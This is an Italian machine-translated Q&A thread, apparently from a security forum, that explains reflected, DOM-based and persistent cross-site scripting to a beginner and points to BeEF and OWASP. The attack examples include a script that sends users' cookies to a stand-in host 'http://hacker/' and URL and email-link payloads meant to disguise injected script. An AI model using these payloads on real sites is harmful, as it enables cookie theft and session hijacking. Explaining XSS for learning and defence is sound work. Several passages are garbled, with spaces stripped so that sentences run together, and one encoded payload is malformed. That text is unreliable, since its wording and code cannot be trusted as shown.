Ho pochissima esperienza nello sviluppo web, ma sono interessato alla sicurezza. Tuttavia, non ho capito appieno come funziona XSS. Puoi spiegarlo a med? L'articolo di Wikipedia mi dà una buona idea, ma non credo di capirlo molto bene.
XSS - Cross Site Scripting (ma non limitato a veri e propri cross-site scripting)
L'XSS viene solitamente presentato in 3 modi diversi:
Non persistente (spesso chiamato XSS riflesso)
Questo è il momento in cui puoi iniettare il codice e il server te lo restituisce, non salvato. Spesso questo può essere sfruttato distribuendo un URL (di solito innocente) in qualche modo o modo per gli altri su cui fare clic.
Questo può essere particolarmente efficace quando hai a che fare con attacchi mirati contro qualcuno. Finché puoi far sì che qualcuno faccia clic sull'URL che hai inviato, è possibile che tu ottenga privilegi elevati sul sistema.
Esempio:
Un sito che contiene un campo di ricerca non ha l'input igienizzante corretto. Crea una query di ricerca con un aspetto simile a questo:
"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>Sedutidall'altraparte,sulserverweb,riceveraihitdove,dopoundoppiospazio,sitrovailcookiedegliutenti.Potrestiesserefortunatoseunamministratorecliccasullink,permettendotidirubareillorosessionIDedirottarelasessione.
Utilizzandotecnichecomee-maildispam,messaggidibacheche,messaggidimessaggisticaistantanea,kitdistrumentidisocialengineering,questavulnerabilitàpuòesseremoltopericolosa.
DOM-based
Moltosimileanonpersistente,maincuiilpayloadjavascriptnondeveessererichiamatodalserverweb.QuestopuòesserespessoilpuntoincuisemplicementeilvalorediunparametroURLvieneriportatoallapaginaalvoloduranteilcaricamentoutilizzandojavascriptgiàresidente.
Esempio:
http://victim/displayHelp.php?title=FAQ#<script>alert(document.cookie)</script>Ovviamenteicriminalimodificherannol'URLperrenderlopiùinnocente.Lostessocaricoutiledicuisopraèstatoappenacodificatoinmododiverso:
http://victim/displayHelp.php?title=FAQ#<scri#112t>alert(document.cookie)</script>PuoipersinomascherarlomeglioquandoinviiaiclientdipostaelettronicachesupportanoHTMLinquestomodo:
<ahref="http://victim/displayHelp.php?title=FAQ#<script>alert(document.cookie)
</script>">http://victim/displayHelp.php?title=FAQ</a>
Persistente
Una volta che si è in grado di mantenere un vettore XSS, l'attacco diventa molto più pericoloso molto velocemente. Un XSS persistente viene riflesso dal server, in genere perché l'XSS è stato memorizzato in un campo di database o simile. Considera che il seguente input è archiviato nel database e poi presentato al tuo profilo:
<input type="text" value="Your name" />
Se sei in grado di fare in modo che l'applicazione accetti e memorizzi l'input non pubblicizzato, tutto ciò che devi fare è far visualizzare agli altri utenti il tuo profilo (o dove l'XSS è riflesso).
Questi tipi di XSS possono essere non solo difficili da individuare, ma molto devastanti per il sistema. Dai un'occhiata al worm XSS chiamato worm Samy !
Nei primi giorni di XSS hai visto questo tipo di exploit su guestbook, community, recensioni degli utenti, chat room e così via.
Due vettori di attacco
Ora che conosci i diversi modi di consegnare un payload XSS, vorrei menzionare alcuni vettori di attacco XSS che possono essere molto pericolosi:
Defacement XSS
Il defacement XSS non è un'impresa difficile da realizzare. Se l'XSS è persistente, può essere una seccatura per gli amministratori di sistema capirlo. Dai un'occhiata a RSnake Stallowned "attack" che ha eliminato la funzionalità di anteprima del libro di Amazon. Abbastanza divertente lettura.
Cookie di furto e sequestro di sessione
Come in uno degli esempi precedenti, una volta che è possibile accedere ai cookie degli utenti, è anche possibile ottenere informazioni sensibili. L'acquisizione di sessionID può portare al dirottamento di sessione, che a sua volta può portare a privilegi elevati sul sistema.
Mi dispiace per il lungo post. Mi fermerò ora. Come puoi vedere, l'XSS è un argomento molto importante da trattare. Spero di averlo reso un po 'più chiaro per te, però.
Sfruttare XSS con BeEF
Per vedere come è possibile sfruttare XSS, ti consiglio di provare BeEF , Browser Exploitation Framework. Una volta decompresso ed eseguito su un server web con supporto PHP, puoi facilmente provare a generare una simulazione di una vittima (chiamata zombi) in cui puoi facilmente provare diversi payload XSS. Per citarne alcuni:
L'elenco potrebbe continuare. Consiglia di vedere il video sulla homepage di BeEF.
UPDATE: ho fatto a scrivere su XSS sul mio blog che descrive XSS. Contiene un po 'sulla storia dell'XSS, i diversi tipi di attacco e alcuni casi d'uso tra cui BeEF e Shank.
Per fare il backup su ciò che SteveSyfuh ha detto, ci sono molti modi malvagi possibili per utilizzare XSS.
Esempi:
Un esempio potrebbe essere l'inserimento di codice dannoso in un campo del database. Successivamente, ogni volta che il campo viene visualizzato per l'utente finale non autorizzato, il browser eseguirà il codice. Questo è chiamato Script tra siti persistenti / memorizzati .
Un'altra sarebbe la possibilità di inserire il codice nei parametri GET o POST senza che vengano convalidati o disinfettati. Quando tali variabili modificano il contenuto della pagina, i dati modificati verranno visualizzati all'utente finale e il loro browser eseguirà quindi il codice dannoso. Questo è tipicamente presente nei link dannosi via email / web che inviano questi parametri GET quando qualcuno fa clic sul link. Questo è chiamato Scripting cross site riflesso .
Risorse:
Fortify Software has a great resource for explaining vulnerabilities and giving examples: https://www.fortify.com/vulncat/en/vulncat/index.html
- Click on the language of choice, and under Input Validation and
Representation you can select from the different types of Cross Site
Scripting vulnerabilities as defined by Fortify Software.OWASP has a great resource for explaining how to prevent XSS vulnerabilities: http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
XSS tratta di consentire l'inserimento di dati arbitrari in un sistema e quindi di mostrare i dati non modificati a un utente. Se avessi salvato qualche js nel mio profilo e avessi qualcuno a vedere quella pagina, il js sarebbe stato eseguito. Ad esempio, potrei fare in modo che il js invii i contenuti dei cookie degli utenti al mio servizio web, permettendomi di fare quello che volevo con il loro cookie come rubare la loro sessione.
In breve, cross-site Scripting inganna il browser Web nell'esecuzione di codice dannoso perché gli sviluppatori non hanno verificato l'input non attendibile.
Quindi, se si esegue un attacco XSS di esempio, l'input non attendibile potrebbe essere un parametro URL contenente JavaScript. Lo sviluppatore presuppone che il parametro contenga solo i dati (o non li controlli a sufficienza) e aggiunge semplicemente il contenuto del parametro alla pagina HTML. Il browser esegue quindi doverosamente il codice JavaScript e hai un attacco XSS riflesso.
Ulteriori informazioni possono essere trovate qui: pagina OWASP XSS
Leggi altre domande sui tag web-application attacks appsec xss